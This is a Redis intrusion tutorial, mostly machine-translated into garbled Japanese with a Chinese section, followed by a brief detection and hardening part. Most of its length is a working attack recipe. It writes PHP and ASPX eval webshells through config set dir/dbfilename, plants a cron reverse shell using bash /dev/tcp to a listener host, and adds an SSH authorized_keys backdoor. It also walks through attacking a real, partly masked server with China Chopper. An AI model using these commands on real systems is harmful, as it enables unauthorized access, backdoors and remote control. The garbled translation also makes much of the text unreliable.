序文
Redisのは広く、ネットワークスキャン、制御、感染のためにインターネット上で登場し、採掘のために使用された後、現在、Redisの不正自動ウイルス様攻撃で、攻撃が成功するだろう、研究の著者ことが判明し、大企業で使用されています恐喝やその他の悪意のある行為は、「Linuxの恐喝ウイルス感染のRedisのサーバーのバージョンによって」早期オンラインの記事、(解析したhttp://www.sohu.com/a/143409075_765820を会社がRedisのを使用している場合、それは注意を払う必要があります)実際の研究によってとき、一定の条件の下で、攻撃者は、ウェブシェルも、root権限を取得することができます。
Redisの導入と構築実験環境
簡単な紹介
リモート辞書サーバー(Redisの)は、キーと値のストレージ・システムのサルヴァトーレサンフィリッポによって書かれています。Redisのタイプ、キー値データベースのログ、および多言語APIを提供することができるメモリの持続性に基づいて、BSDは、契約および支持ネットワークに準拠し、ANSI Cで書かれたオープンソースの使用です。値(値)は、文字列(String)を、ハッシュ(地図)、リスト(一覧)、セット(セット)、および順序付きコレクション(ソートセット)や他のタイプのものであってよいので、それは多くの場合、サーバーのデータ構造と呼ばれています。2010年3月15日からは、Redisの開発作業は、VMwareが主催しました。2013年5月からは、ピボタル主催のRedisの開発を始めました。最新の安定版は4.0.8です。
Redisのデフォルトポート
26379へのRedisのデフォルト設定のポート6379、sentinel.confポートの構成
公式サイト
http://download.redis.io/releases/redis-3.2.11.tar.gz
Redisのをインストールします。
wgetのhttp://download.redis.io/releases/redis-4.0.8.tar.gz
タール-xvfのRedis-4.0.8.tar.gzの
CDはRedisの-4.0.8
メイクを
初期の脆弱性の最新バージョンは、テストバージョン3.2.11をインストールすることをお勧めし、修復されました。
コンフィギュレーション・ファイルredis.confを変更
CP ./src/redis.conf redis.conf
バインド127.0.0.1の前にあるプラスアウト#コメント
無しにプロテクトモードのセット開始-ServerのRedisの./src/redis-server redis.conf
図2に示すように、成功の最新バージョンをインストールした後、。デフォルトの設定は、ポート6379を使用することで、パスワードはありません。この時間は、不正アクセスや書き込みファイルに使用Redisの許可につながります。
<センター>図のインストール設定Redisの</センター>
Redisのサーバー接続
対話モード
redis-cli -h {host} -p {port}
接続された、すべての操作は、例えば、対話的にコマンドをRedisの-CLIを実行する必要が実装されています。
CLI-Redisの-h 127.0.0.1-P- 6379 プラス-aパラメータは、パスワードを使用してアクセスを示します
コマンドモード
redis-cli -h {host} -p {port} {command}
直接リターン結果を命じます。
共通コマンド
コマンド | 説明 |
---|---|
インフォ | 情報を表示 |
flushall | データベースのすべての内容を削除します。 |
flushdb | リフレッシュデータベース |
KEYS * | キーデータを表示することができます選択NUMを使用し、すべてのキーを見ます |
セットテスト「私は」 | 変数を設定します |
configがDIR DIRPATHを設定しました | コンフィギュレーションのようなセットのパス |
セーブ | 保存 |
変数を取得 | 変数名を確認してください |
以上のコマンドは、記事を参照することができますhttps://www.cnblogs.com/kongzhongqijing/p/6867960.html
関連の脆弱性
不適切な構成のためには、不正アクセス、機密情報漏えいの脆弱性につながることができ、内部データへのアクセスに認証なしで攻撃を(いくつかの興味深いセッション、クッキーや業務データを格納するためのRedisサーバが取得するキーを列挙することができます)、することができますすべてのデータを消去する悪質なflushallを実行することができ、攻撃者はまた、EVALのLUAコードまたはバックドアファイルは、データのバックアップ機能により、ディスクに書き込まれることにより、実行することができます。ルートとしてRedisの実行は、rootアカウントは、サーバ、およびそれに関連する脆弱性情報に直接にSSH公開キーファイル、パスワードなしのログに書き込むことができます場合は、次のように:
Redisのリモートでコードが実行される脆弱性(CVE-2016から8339)
バッファオーバーランの脆弱性のRedisの3.2.xの<3.2.4バージョンは、任意のコード実行につながる可能性が存在します。Redisのデータ構造に対処するための書き込みクライアント-出力バッファ-limitオプションへのクロスボーダーの抜け穴の存在は、CONFIG SETコマンドを保存します。CONFIG SETコマンド構造は、クロスボーダーのライトのコード実行につながることができます。
CVE-2015-8080
Redisの2.8.xプレゼンスオーバーフロー関数整数getnum、以前のバージョン3.0.6で許可コンテキスト実行Luaのコード(メモリ破壊とアプリケーションのクラッシュ)に攻撃を可能にする、2.8.24で前lua_struct.cと3.0.xのまたはスタックベースのバッファオーバーフローを誘発する多く介して意図バイパスサンドボックスの制限に可能。
CVE-2015-4335
セキュリティの脆弱性やRedisの2.8.1前3.0.2より前のバージョンの3.xバージョン。評価コマンドは、任意のLuaのバイトコードを実行する脆弱性を悪用するリモートの攻撃を行うことができます
CVE-2013-7458
読む「.rediscli_history」プロファイル情報
Redisの攻撃のアイデア
ネットワークポートスキャン
nmapの-v -n -Pn -p 6379 -sV --scriptredis-情報192.168.56.1/24
ファイルによって、その設定ファイルが含まれている読み込み
Redisの設定ファイルは、通常、浸透中に、プレーンテキストのパスワードもウェブシェルで自分のプロフィールを見ることができ、Redisのは、ネットワーク、または拡張アクセス権の浸透に潜入するために使用することができ、多くの場合、複数のコンピュータです。
ブルートフォースツールを使用してのRedis
https://github.com/evilpacket/redis-sha-crack、そのコマンドです。
ノード./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555
あなたはノードをインストールする必要があります。
gitのクローンhttps://github.com/nodejs/node.git
ます。chmod -R 755 ノード
のCD ノード
に./configure
メイク
モジュールを使用するMSF
補助/スキャナ/ Redisの/ file_upload通常のRedisのファイルのアップロード
補助/スキャナ/ Redisの/ redis_login通常のRedisのログインユーティリティ
補助/スキャナ/ Redisの/ redis_server通常のRedisのコマンドを実行し、スキャナ
Redisの悪用
取得ウェブシェル
権威が高くないRedisの、そしてオープンなWebサービスサーバーた場合、Redisの中のウェブディレクトリに書き込み権限を持っている、あなたは書き込みウェブ経路に試すことができますウェブシェル、前提は、コマンドを合理化するための物理的なパスを知っている次のとおりです。
設定セットでdir E:/ www /のフォント
設定、設定されたdbfilename redis2.aspxの
セットA "<ページ言語@%= \" Jscriptの\ "%> <%のeval(Request.Item [\" C \ "]、\"危険な\ ");%>"
保存
シェルリバウンド
(1)サーバのRedisに接続されています
Redisの-CLI -p 6379 -h 192 168 106 135
(2)192.168.106.133上で実行
NC -vlp 7999
(3)は、次のコマンドを実行し
集合X "\ N \ N * * * * * bashの-i>&/dev/tcp/192.168.106.133/7999 0>&1 \ nは\ n"は
設定セットディレクトリに/ var / spool / cron /
ubantu文件为:/ VAR /スプール/ cronを/ crontabファイル/
コンフィグ設定ディレクトリに/ var / spool / cron / crontabファイル/
コンフィグセットdbfilenameルート
のセーブ
SSHパスワードなしのログイン
SSH-keygenの-t RSA
設定セットDIR /root/.ssh/
設定セットdbfilenameのauthorized_keysに
設定X 「\ n \ n \ nssh-RSA AAAAB3NzaC1yc2EAAAADAQABAAABAQDZA3SEwRcvoYWXRkXoxu7BlmhVQz7Dd8H9ZFV0Y0wKOok1moUzW3 + rrWHRaSUqLD5 + auAmVlG5n1dAyP7ZepMkZHKWU94TubLBDKF7AIS3ZdHHOkYI8y0NRp6jvtOroZ9UO5va6Px4wHTNK + rmoXWxsz1dNDjO8eFy88Qqe9j3meYU / CQHGRSw0 / XlzUxA95 / ICmDBgQ7E9J / tN8BWWjs5 + sS3wkPFXw1liRqpOyChEoYXREfPwxWTxWm68iwkE3 / 22LbqtpT1RKvVsuaLOrDz1E8qH + TBdjwiPcuzfyLnlWi6fQJci7FAdF2j4r8Mh9ONT5In3nSsAQoacbUS1lulルート@ kali2018 \ N \ N \ n」は
保存
図2に示した結果の実装:
<センター>図2Redis脆弱性SSHログインパスワードフリー</センター>
抜け穴検索エンジンを使用して
(1) "ポート:6379" に検索
https://www.zoomeye.org/searchResult?q=port:6379
(2)表示を削除する「-noauth認証が必要です。」結果情報がアクセスするためのパスワードを必要とする、その認証が必要であることを示していることを示しています。
关键字检索:port=”6379″ && protocol==redis && country=CN
Redis账号获取webshell实战
1.扫描某目标服务器端口信息
通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。
<center>图3扫描同网段开放该端口的服务器</center>
2.使用telnet登录服务器
使用命令“telnet ip port”命令登录,例如 telnet 1**.**.**.76 3357
,登录后,输入auth和密码进行认证。
3.查看并保存当前的配置信息。
通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
config get dir
config get dbfilename
4.配置并写入webshell
(1)设置路径
config set dir E:/www/font
(2)设置数据库名称
将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。
config set dbfilename redis.aspx
(3)设置webshell的内容
根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。
set webshell "<?php phpinfo(); ?>"
//php查看信息
set webshell "<?php @eval($_POST['chopper']);?> "
//phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"
(4)保存写入的内容
save
(5)查看webshell的内容
get webshell
完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。
<center>图4写入webshell</center>
-
测试webshell是否正常
在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:
“REDIS0006?webshell’a@H搀???”则表明正确获取webshell。
<center>图5测试webshell是否正常</center>
6.获取webshell
如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
<center>图6获取webshell</center>
7.恢复原始设置
(1)恢复dir
config set dir dirname
(2)恢复dbfilename
config set dbfilename dbfilename
(3)删除webshell
del webshell
(4)刷新数据库
flushdb
8.完整命令总结
telnet 1**.**.**.31 3357
auth 123456
config get dir
config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a
9.查看redis配置conf文件
通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。
<center>图7查看redis其配置文件</center>
Redis入侵检测和安全防范
入侵检测
检测key
通过本地登录,通过“keys *”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。
<center>图8检查keys</center>
、/root/.sshにRedisのconfファイルでdir引数がポイントしながら、Redisのは、crackitは他の値であってもよいという名前のキーを構築し /root/.ssh/authorized_keys
、その値が最大になることができるかどうかを確認するためにRedisの関連コンテンツをカバーするか、含ま侵入しました。
サイトのウェブシェルをスキャンし、分析するために
私たちは、村がRedisの内殻ワードになり、使用Redisのアカウントの脆弱性ことがわかりました。
サーバーのバックドアインベントリと処理
療法
(1)あなたは6379 Redisのポート上でファイアウォールを無効にすることができ、公共のオープンRedisのポートを禁止します
(2)それが変更されている場合のauthorized_keysは違法、あなたが再び発生し、回復できるかどうかを確認するには、変更されたファイルを使用することはできません。およびSSHサービスを再起動します(サービスのsshの再起動)
(3)は、Redisのパスワード認証を高めます
最初のピットストップのRedisのサービス、オープンredis.conf設定ファイル(別のプロファイル、そのパスが異なる場合があります)/etc/redis/6379.conf、#requirepassは前の#記号を削除foobared見つけ、その後、自分のfoobaredを設定するように変更パスワードは、スタートRedisのサービスを再起動します。
(4)#(全体のネットワークアクセスの禁止)が先行bind0.0.0.0を見つけ、confファイルは、ネットワーク全体、オープン6379.confファイルへのアクセスを禁止修正。
補強は、コマンドリファレンスを変更することができます
コマンド | 説明 |
---|---|
港 | Redisのを修正するために使用されるデフォルトのポート |
練る | セットRedisのモニターのプライベートIP |
requirepass | パスワードRedisの接続を設定します。 |
名前の変更コマンドCONFIG「」 | 無効にCONFIGコマンド |
名前の変更 - コマンドの情報INFO2 | 情報がinfo2にある名前を変更 |